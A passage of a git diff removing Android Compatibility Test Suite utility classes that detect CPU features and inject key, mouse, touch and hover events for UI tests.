- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.os.Build;
-
-public class CpuFeatures {
-
-    public static final String ARMEABI_V7 = "armeabi-v7a";
-
-    public static final String ARMEABI = "armeabi";
-
-    public static final String MIPSABI = "mips";
-
-    public static final  String X86ABI = "x86";
-
-    public static final int HWCAP_VFP = (1 << 6);
-
-    public static final int HWCAP_NEON = (1 << 12);
-
-    public static final int HWCAP_VFPv3 = (1 << 13);
-
-    public static final int HWCAP_VFPv4 = (1 << 16);
-
-    public static final int HWCAP_IDIVA = (1 << 17);
-
-    public static final int HWCAP_IDIVT = (1 << 18);
-
-    static {
-        System.loadLibrary("cts_jni");
-    }
-
-    public static native boolean isArmCpu();
-
-    public static native boolean isMipsCpu();
-
-    public static native boolean isX86Cpu();
-
-    public static native boolean isArm64Cpu();
-
-    public static native boolean isMips64Cpu();
-
-    public static native boolean isX86_64Cpu();
-
-    public static native int getHwCaps();
-
-    public static boolean isArm64CpuIn32BitMode() {
-        if (!isArmCpu()) {
-            return false;
-        }
-
-        for (String abi : Build.SUPPORTED_64_BIT_ABIS) {
-            if (abi.equals("arm64-v8a")) {
-                return true;
-            }
-        }
-
-        return false;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
deleted file mode 100644
index 1ffad1d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.test.ActivityInstrumentationTestCase2;
-
-/**
- *  This class emulates AndroidTestCase, but internally it is ActivityInstrumentationTestCase2
- *  to access Instrumentation.
- *  DummyActivity is not supposed to be accessed.
- */
-public class CtsAndroidTestCase extends ActivityInstrumentationTestCase2<DummyActivity> {
-    public CtsAndroidTestCase() {
-        super(DummyActivity.class);
-    }
-
-    public Context getContext() {
-        return getInstrumentation().getContext();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
deleted file mode 100644
index 97e4310..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
+++ /dev/null
@@ -1,293 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.util.Log;
-import android.view.InputDevice;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.inputmethod.InputMethodManager;
-
-import java.lang.reflect.Field;
-
-/**
- * Utility class to send KeyEvents bypassing the IME. The code is similar to functions in
- * {@link Instrumentation} and {@link android.test.InstrumentationTestCase} classes. It uses
- * {@link InputMethodManager#dispatchKeyEventFromInputMethod(View, KeyEvent)} to send the events.
- * After sending the events waits for idle.
- */
-public final class CtsKeyEventUtil {
-
-    private CtsKeyEventUtil() {}
-
-    /**
-     * Sends the key events corresponding to the text to the app being instrumented.
-     *
-     * @param instrumentation the instrumentation used to run the test.
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param text The text to be sent. Null value returns immediately.
-     */
-    public static void sendString(final Instrumentation instrumentation, final View targetView,
-            final String text) {
-        if (text == null) {
-            return;
-        }
-
-        KeyEvent[] events = getKeyEvents(text);
-
-        if (events != null) {
-            for (int i = 0; i < events.length; i++) {
-                // We have to change the time of an event before injecting it because
-                // all KeyEvents returned by KeyCharacterMap.getEvents() have the same
-                // time stamp and the system rejects too old events. Hence, it is
-                // possible for an event to become stale before it is injected if it
-                // takes too long to inject the preceding ones.
-                sendKey(instrumentation, targetView, KeyEvent.changeTimeRepeat(
-                        events[i], SystemClock.uptimeMillis(), 0 /* newRepeat */));
-            }
-        }
-    }
-
-    /**
-     * Sends a series of key events through instrumentation. For instance:
-     * sendKeys(view, KEYCODE_DPAD_LEFT, KEYCODE_DPAD_CENTER).
-     *
-     * @param instrumentation the instrumentation used to run the test.
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param keys The series of key codes.
-     */
-    public static void sendKeys(final Instrumentation instrumentation, final View targetView,
-            final int...keys) {
-        final int count = keys.length;
-
-        for (int i = 0; i < count; i++) {
-            try {
-                sendKeyDownUp(instrumentation, targetView, keys[i]);
-            } catch (SecurityException e) {
-                // Ignore security exceptions that are now thrown
-                // when trying to send to another app, to retain
-                // compatibility with existing tests.
-            }
-        }
-    }
-
-    /**
-     * Sends a series of key events through instrumentation. The sequence of keys is a string
-     * containing the key names as specified in KeyEvent, without the KEYCODE_ prefix. For
-     * instance: sendKeys(view, "DPAD_LEFT A B C DPAD_CENTER"). Each key can be repeated by using
-     * the N* prefix. For instance, to send two KEYCODE_DPAD_LEFT, use the following:
-     * sendKeys(view, "2*DPAD_LEFT").
-     *
-     * @param instrumentation the instrumentation used to run the test.
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param keysSequence The sequence of keys.
-     */
-    public static void sendKeys(final Instrumentation instrumentation, final View targetView,
-            final String keysSequence) {
-        final String[] keys = keysSequence.split(" ");
-        final int count = keys.length;
-
-        for (int i = 0; i < count; i++) {
-            String key = keys[i];
-            int repeater = key.indexOf('*');
-
-            int keyCount;
-            try {
-                keyCount = repeater == -1 ? 1 : Integer.parseInt(key.substring(0, repeater));
-            } catch (NumberFormatException e) {
-                Log.w("ActivityTestCase", "Invalid repeat count: " + key);
-                continue;
-            }
-
-            if (repeater != -1) {
-                key = key.substring(repeater + 1);
-            }
-
-            for (int j = 0; j < keyCount; j++) {
-                try {
-                    final Field keyCodeField = KeyEvent.class.getField("KEYCODE_" + key);
-                    final int keyCode = keyCodeField.getInt(null);
-                    try {
-                        sendKeyDownUp(instrumentation, targetView, keyCode);
-                    } catch (SecurityException e) {
-                        // Ignore security exceptions that are now thrown
-                        // when trying to send to another app, to retain
-                        // compatibility with existing tests.
-                    }
-                } catch (NoSuchFieldException e) {
-                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
-                    break;
-                } catch (IllegalAccessException e) {
-                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
-                    break;
-                }
-            }
-        }
-    }
-
-    /**
-     * Sends an up and down key events.
-     *
-     * @param instrumentation the instrumentation used to run the test.
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param key The integer keycode for the event to be sent.
-     */
-    public static void sendKeyDownUp(final Instrumentation instrumentation, final View targetView,
-            final int key) {
-        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
-        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
-    }
-
-    /**
-     * Sends a key event.
-     *
-     * @param instrumentation the instrumentation used to run the test.
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param event KeyEvent to be send.
-     */
-    public static void sendKey(final Instrumentation instrumentation, final View targetView,
-            final KeyEvent event) {
-        validateNotAppThread();
-
-        long downTime = event.getDownTime();
-        long eventTime = event.getEventTime();
-        int action = event.getAction();
-        int code = event.getKeyCode();
-        int repeatCount = event.getRepeatCount();
-        int metaState = event.getMetaState();
-        int deviceId = event.getDeviceId();
-        int scanCode = event.getScanCode();
-        int source = event.getSource();
-        int flags = event.getFlags();
-        if (source == InputDevice.SOURCE_UNKNOWN) {
-            source = InputDevice.SOURCE_KEYBOARD;
-        }
-        if (eventTime == 0) {
-            eventTime = SystemClock.uptimeMillis();
-        }
-        if (downTime == 0) {
-            downTime = eventTime;
-        }
-
-        final KeyEvent newEvent = new KeyEvent(downTime, eventTime, action, code, repeatCount,
-                metaState, deviceId, scanCode, flags, source);
-
-        InputMethodManager imm = targetView.getContext().getSystemService(InputMethodManager.class);
-        imm.dispatchKeyEventFromInputMethod(null, newEvent);
-        instrumentation.waitForIdleSync();
-    }
-
-    /**
-     * Sends a key event while holding another modifier key down, then releases both keys and
-     * waits for idle sync. Useful for sending combinations like shift + tab.
-     *
-     * @param instrumentation the instrumentation used to run the test.
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param keyCodeToSend The integer keycode for the event to be sent.
-     * @param modifierKeyCodeToHold The integer keycode of the modifier to be held.
-     */
-    public static void sendKeyWhileHoldingModifier(final Instrumentation instrumentation,
-            final View targetView, final int keyCodeToSend,
-            final int modifierKeyCodeToHold) {
-        final int metaState = getMetaStateForModifierKeyCode(modifierKeyCodeToHold);
-        final long downTime = SystemClock.uptimeMillis();
-
-        final KeyEvent holdKeyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
-                modifierKeyCodeToHold, 0 /* repeat */);
-        sendKey(instrumentation ,targetView, holdKeyDown);
-
-        final KeyEvent keyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
-                keyCodeToSend, 0 /* repeat */, metaState);
-        sendKey(instrumentation, targetView, keyDown);
-
-        final KeyEvent keyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
-                keyCodeToSend, 0 /* repeat */, metaState);
-        sendKey(instrumentation, targetView, keyUp);
-
-        final KeyEvent holdKeyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
-                modifierKeyCodeToHold, 0 /* repeat */);
-        sendKey(instrumentation, targetView, holdKeyUp);
-
-        instrumentation.waitForIdleSync();
-    }
-
-    private static int getMetaStateForModifierKeyCode(int modifierKeyCode) {
-        if (!KeyEvent.isModifierKey(modifierKeyCode)) {
-            throw new IllegalArgumentException("Modifier key expected, but got: "
-                    + KeyEvent.keyCodeToString(modifierKeyCode));
-        }
-
-        int metaState;
-        switch (modifierKeyCode) {
-            case KeyEvent.KEYCODE_SHIFT_LEFT:
-                metaState = KeyEvent.META_SHIFT_LEFT_ON;
-                break;
-            case KeyEvent.KEYCODE_SHIFT_RIGHT:
-                metaState = KeyEvent.META_SHIFT_RIGHT_ON;
-                break;
-            case KeyEvent.KEYCODE_ALT_LEFT:
-                metaState = KeyEvent.META_ALT_LEFT_ON;
-                break;
-            case KeyEvent.KEYCODE_ALT_RIGHT:
-                metaState = KeyEvent.META_ALT_RIGHT_ON;
-                break;
-            case KeyEvent.KEYCODE_CTRL_LEFT:
-                metaState = KeyEvent.META_CTRL_LEFT_ON;
-                break;
-            case KeyEvent.KEYCODE_CTRL_RIGHT:
-                metaState = KeyEvent.META_CTRL_RIGHT_ON;
-                break;
-            case KeyEvent.KEYCODE_META_LEFT:
-                metaState = KeyEvent.META_META_LEFT_ON;
-                break;
-            case KeyEvent.KEYCODE_META_RIGHT:
-                metaState = KeyEvent.META_META_RIGHT_ON;
-                break;
-            case KeyEvent.KEYCODE_SYM:
-                metaState = KeyEvent.META_SYM_ON;
-                break;
-            case KeyEvent.KEYCODE_NUM:
-                metaState = KeyEvent.META_NUM_LOCK_ON;
-                break;
-            case KeyEvent.KEYCODE_FUNCTION:
-                metaState = KeyEvent.META_FUNCTION_ON;
-                break;
-            default:
-                // Safety net: all modifier keys need to have at least one meta state associated.
-                throw new UnsupportedOperationException("No meta state associated with "
-                        + "modifier key: " + KeyEvent.keyCodeToString(modifierKeyCode));
-        }
-
-        return KeyEvent.normalizeMetaState(metaState);
-    }
-
-    private static KeyEvent[] getKeyEvents(final String text) {
-        KeyCharacterMap keyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
-        return keyCharacterMap.getEvents(text.toCharArray());
-    }
-
-    private static void validateNotAppThread() {
-        if (Looper.myLooper() == Looper.getMainLooper()) {
-            throw new RuntimeException(
-                    "This method can not be called from the main application thread");
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java
deleted file mode 100644
index 54985dc..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.mockito.verification.VerificationMode;
-
-public class CtsMockitoUtils {
-    private CtsMockitoUtils() {}
-
-    public static VerificationMode within(long timeout) {
-        return new Within(timeout);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java
deleted file mode 100644
index e53eb08..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static org.mockito.Matchers.argThat;
-import static org.mockito.Matchers.eq;
-import static org.mockito.Mockito.inOrder;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.os.SystemClock;
-import android.view.InputDevice;
-import android.view.MotionEvent;
-import android.view.View;
-
-import org.mockito.ArgumentMatcher;
-import org.mockito.InOrder;
-
-public final class CtsMouseUtil {
-
-    private CtsMouseUtil() {}
-
-    public static View.OnHoverListener installHoverListener(View view) {
-        return installHoverListener(view, true);
-    }
-
-    public static View.OnHoverListener installHoverListener(View view, boolean result) {
-        final View.OnHoverListener mockListener = mock(View.OnHoverListener.class);
-        view.setOnHoverListener((v, event) -> {
-            // Clone the event to work around event instance reuse in the framework.
-            mockListener.onHover(v, MotionEvent.obtain(event));
-            return result;
-        });
-        return mockListener;
-    }
-
-    public static void clearHoverListener(View view) {
-        view.setOnHoverListener(null);
-    }
-
-    public static MotionEvent obtainMouseEvent(int action, View anchor, int offsetX, int offsetY) {
-        final long eventTime = SystemClock.uptimeMillis();
-        final int[] screenPos = new int[2];
-        anchor.getLocationOnScreen(screenPos);
-        final int x = screenPos[0] + offsetX;
-        final int y = screenPos[1] + offsetY;
-        MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
-        event.setSource(InputDevice.SOURCE_MOUSE);
-        return event;
-    }
-
-    /**
-     * Emulates a hover move on a point relative to the top-left corner of the passed {@link View}.
-     * Offset parameters are used to compute the final screen coordinates of the tap point.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param anchor the anchor view to determine the tap location on the screen
-     * @param offsetX extra X offset for the move
-     * @param offsetY extra Y offset for the move
-     */
-    public static void emulateHoverOnView(Instrumentation instrumentation, View anchor, int offsetX,
-            int offsetY) {
-        final long downTime = SystemClock.uptimeMillis();
-        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
-        final int[] screenPos = new int[2];
-        anchor.getLocationOnScreen(screenPos);
-        final int x = screenPos[0] + offsetX;
-        final int y = screenPos[1] + offsetY;
-
-        injectHoverEvent(uiAutomation, downTime, x, y);
-    }
-
-    private static void injectHoverEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
-            int yOnScreen) {
-        MotionEvent event = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_HOVER_MOVE,
-                xOnScreen, yOnScreen, 0);
-        event.setSource(InputDevice.SOURCE_MOUSE);
-        uiAutomation.injectInputEvent(event, true);
-        event.recycle();
-    }
-
-    public static class ActionMatcher implements ArgumentMatcher<MotionEvent> {
-        private final int mAction;
-
-        public ActionMatcher(int action) {
-            mAction = action;
-        }
-
-        @Override
-        public boolean matches(MotionEvent actual) {
-            return actual.getAction() == mAction;
-        }
-
-        @Override
-        public String toString() {
-            return "action=" + MotionEvent.actionToString(mAction);
-        }
-    }
-
-    public static class PositionMatcher extends ActionMatcher {
-        private final int mX;
-        private final int mY;
-
-        public PositionMatcher(int action, int x, int y) {
-            super(action);
-            mX = x;
-            mY = y;
-        }
-
-        @Override
-        public boolean matches(MotionEvent actual) {
-            return super.matches(actual)
-                    && ((int) actual.getX()) == mX
-                    && ((int) actual.getY()) == mY;
-        }
-
-        @Override
-        public String toString() {
-            return super.toString() + "@(" + mX + "," + mY + ")";
-        }
-    }
-
-    public static void verifyEnterMove(View.OnHoverListener listener, View view, int moveCount) {
-        final InOrder inOrder = inOrder(listener);
-        verifyEnterMoveInternal(listener, view, moveCount, inOrder);
-        inOrder.verifyNoMoreInteractions();
-    }
-
-    public static void verifyEnterMoveExit(
-            View.OnHoverListener listener, View view, int moveCount) {
-        final InOrder inOrder = inOrder(listener);
-        verifyEnterMoveInternal(listener, view, moveCount, inOrder);
-        inOrder.verify(listener, times(1)).onHover(eq(view),
-                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_EXIT)));
-        inOrder.verifyNoMoreInteractions();
-    }
-
-    private static void verifyEnterMoveInternal(
-            View.OnHoverListener listener, View view, int moveCount, InOrder inOrder) {
-        inOrder.verify(listener, times(1)).onHover(eq(view),
-                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_ENTER)));
-        inOrder.verify(listener, times(moveCount)).onHover(eq(view),
-                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_MOVE)));
-    }
-}
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
deleted file mode 100644
index bd53549..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ /dev/null
@@ -1,614 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.graphics.Point;
-import android.os.SystemClock;
-import android.support.test.rule.ActivityTestRule;
-import android.util.SparseArray;
-import android.view.InputDevice;
-import android.view.MotionEvent;
-import android.view.View;
-import android.view.ViewConfiguration;
-import android.view.ViewGroup;
-
-/**
- * Test utilities for touch emulation.
- */
-public final class CtsTouchUtils {
-    /**
-     * Interface definition for a callback to be invoked when an event has been injected.
-     */
-    public interface EventInjectionListener {
-        /**
-         * Callback method to be invoked when a {MotionEvent#ACTION_DOWN} has been injected.
-         * @param xOnScreen X coordinate of the injected event.
-         * @param yOnScreen Y coordinate of the injected event.
-         */
-        public void onDownInjected(int xOnScreen, int yOnScreen);
-
-        /**
-         * Callback method to be invoked when a {MotionEvent#ACTION_MOVE} has been injected.
-         * @param xOnScreen X coordinates of the injected event.
-         * @param yOnScreen Y coordinates of the injected event.
-         */
-        public void onMoveInjected(int[] xOnScreen, int[] yOnScreen);
-
-        /**
-         * Callback method to be invoked when a {MotionEvent#ACTION_UP} has been injected.
-         * @param xOnScreen X coordinate of the injected event.
-         * @param yOnScreen Y coordinate of the injected event.
-         */
-        public void onUpInjected(int xOnScreen, int yOnScreen);
-    }
-
-    private CtsTouchUtils() {}
-
-    /**
-     * Emulates a tap in the center of the passed {@link View}.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view to "tap"
-     */
-    public static void emulateTapOnViewCenter(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View view) {
-        emulateTapOnView(instrumentation, activityTestRule, view, view.getWidth() / 2,
-                view.getHeight() / 2);
-    }
-
-    /**
-     * Emulates a tap on a point relative to the top-left corner of the passed {@link View}. Offset
-     * parameters are used to compute the final screen coordinates of the tap point.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param anchorView the anchor view to determine the tap location on the screen
-     * @param offsetX extra X offset for the tap
-     * @param offsetY extra Y offset for the tap
-     */
-    public static void emulateTapOnView(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View anchorView,
-            int offsetX, int offsetY) {
-        final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
-        // Get anchor coordinates on the screen
-        final int[] viewOnScreenXY = new int[2];
-        anchorView.getLocationOnScreen(viewOnScreenXY);
-        int xOnScreen = viewOnScreenXY[0] + offsetX;
-        int yOnScreen = viewOnScreenXY[1] + offsetY;
-        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
-        final long downTime = SystemClock.uptimeMillis();
-
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
-        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
-        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
-
-        // Wait for the system to process all events in the queue
-        if (activityTestRule != null) {
-            WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
-                    activityTestRule.getActivity().getWindow().getDecorView(), null);
-        } else {
-            instrumentation.waitForIdleSync();
-        }
-    }
-
-    /**
-     * Emulates a double tap in the center of the passed {@link View}.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view to "double tap"
-     */
-    public static void emulateDoubleTapOnViewCenter(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View view) {
-        emulateDoubleTapOnView(instrumentation, activityTestRule, view, view.getWidth() / 2,
-                view.getHeight() / 2);
-    }
-
-    /**
-     * Emulates a double tap on a point relative to the top-left corner of the passed {@link View}.
-     * Offset parameters are used to compute the final screen coordinates of the tap points.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param anchorView the anchor view to determine the tap location on the screen
-     * @param offsetX extra X offset for the taps
-     * @param offsetY extra Y offset for the taps
-     */
-    public static void emulateDoubleTapOnView(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View anchorView,
-            int offsetX, int offsetY) {
-        final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
-        // Get anchor coordinates on the screen
-        final int[] viewOnScreenXY = new int[2];
-        anchorView.getLocationOnScreen(viewOnScreenXY);
-        int xOnScreen = viewOnScreenXY[0] + offsetX;
-        int yOnScreen = viewOnScreenXY[1] + offsetY;
-        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
-        final long downTime = SystemClock.uptimeMillis();
-
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
-        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
-        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
-        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
-        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
-
-        // Wait for the system to process all events in the queue
-        if (activityTestRule != null) {
-            WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
-                    activityTestRule.getActivity().getWindow().getDecorView(), null);
-        } else {
-            instrumentation.waitForIdleSync();
-        }
-    }
-
-    /**
-     * Emulates a linear drag gesture between 2 points across the screen.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param dragStartX Start X of the emulated drag gesture
-     * @param dragStartY Start Y of the emulated drag gesture
-     * @param dragAmountX X amount of the emulated drag gesture
-     * @param dragAmountY Y amount of the emulated drag gesture
-     */
-    public static void emulateDragGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule,
-            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
-        emulateDragGesture(instrumentation, activityTestRule,
-                dragStartX, dragStartY, dragAmountX, dragAmountY,
-                2000, 20, null);
-    }
-
-    private static void emulateDragGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule,
-            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
-            int dragDurationMs, int moveEventCount) {
-        emulateDragGesture(instrumentation, activityTestRule,
-                dragStartX, dragStartY, dragAmountX, dragAmountY,
-                dragDurationMs, moveEventCount, null);
-    }
-
-    private static void emulateDragGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule,
-            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
-            int dragDurationMs, int moveEventCount,
-            EventInjectionListener eventInjectionListener) {
-        // We are using the UiAutomation object to inject events so that drag works
-        // across view / window boundaries (such as for the emulated drag and drop
-        // sequences)
-        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
-        final long downTime = SystemClock.uptimeMillis();
-
-        injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY, eventInjectionListener);
-
-        // Inject a sequence of MOVE events that emulate the "move" part of the gesture
-        injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
-                dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs,
-            eventInjectionListener);
-
-        injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
-                dragStartY + dragAmountY, eventInjectionListener);
-
-        // Wait for the system to process all events in the queue
-        if (activityTestRule != null) {
-            WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
-                    activityTestRule.getActivity().getWindow().getDecorView(), null);
-        } else {
-            instrumentation.waitForIdleSync();
-        }
-    }
-
-    /**
-     * Emulates a series of linear drag gestures across the screen between multiple points without
-     * lifting the finger. Note that this function does not support curve movements between the
-     * points.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param coordinates the ordered list of points for the drag gesture
-     */
-    public static void emulateDragGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, SparseArray<Point> coordinates) {
-        emulateDragGesture(instrumentation, activityTestRule, coordinates, 2000, 20);
-    }
-
-    private static void emulateDragGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule,
-            SparseArray<Point> coordinates, int dragDurationMs, int moveEventCount) {
-        final int coordinatesSize = coordinates.size();
-        if (coordinatesSize < 2) {
-            throw new IllegalArgumentException("Need at least 2 points for emulating drag");
-        }
-        // We are using the UiAutomation object to inject events so that drag works
-        // across view / window boundaries (such as for the emulated drag and drop
-        // sequences)
-        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
-        final long downTime = SystemClock.uptimeMillis();
-
-        injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y, null);
-
-        // Move to each coordinate.
-        for (int i = 0; i < coordinatesSize - 1; i++) {
-            // Inject a sequence of MOVE events that emulate the "move" part of the gesture.
-            injectMoveEventsForDrag(uiAutomation,
-                    downTime,
-                    true,
-                    coordinates.get(i).x,
-                    coordinates.get(i).y,
-                    coordinates.get(i + 1).x,
-                    coordinates.get(i + 1).y,
-                    moveEventCount,
-                    dragDurationMs,
-                    null);
-        }
-
-        injectUpEvent(uiAutomation,
-                downTime,
-                true,
-                coordinates.get(coordinatesSize - 1).x,
-                coordinates.get(coordinatesSize - 1).y,
-                null);
-
-        // Wait for the system to process all events in the queue
-        if (activityTestRule != null) {
-            WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
-                    activityTestRule.getActivity().getWindow().getDecorView(), null);
-        } else {
-            instrumentation.waitForIdleSync();
-        }
-    }
-
-    private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
-            int yOnScreen, EventInjectionListener eventInjectionListener) {
-        MotionEvent eventDown = MotionEvent.obtain(
-                downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
-        eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-        uiAutomation.injectInputEvent(eventDown, true);
-        if (eventInjectionListener != null) {
-            eventInjectionListener.onDownInjected(xOnScreen, yOnScreen);
-        }
-        eventDown.recycle();
-        return downTime;
-    }
-
-    private static void injectMoveEventForTap(UiAutomation uiAutomation, long downTime,
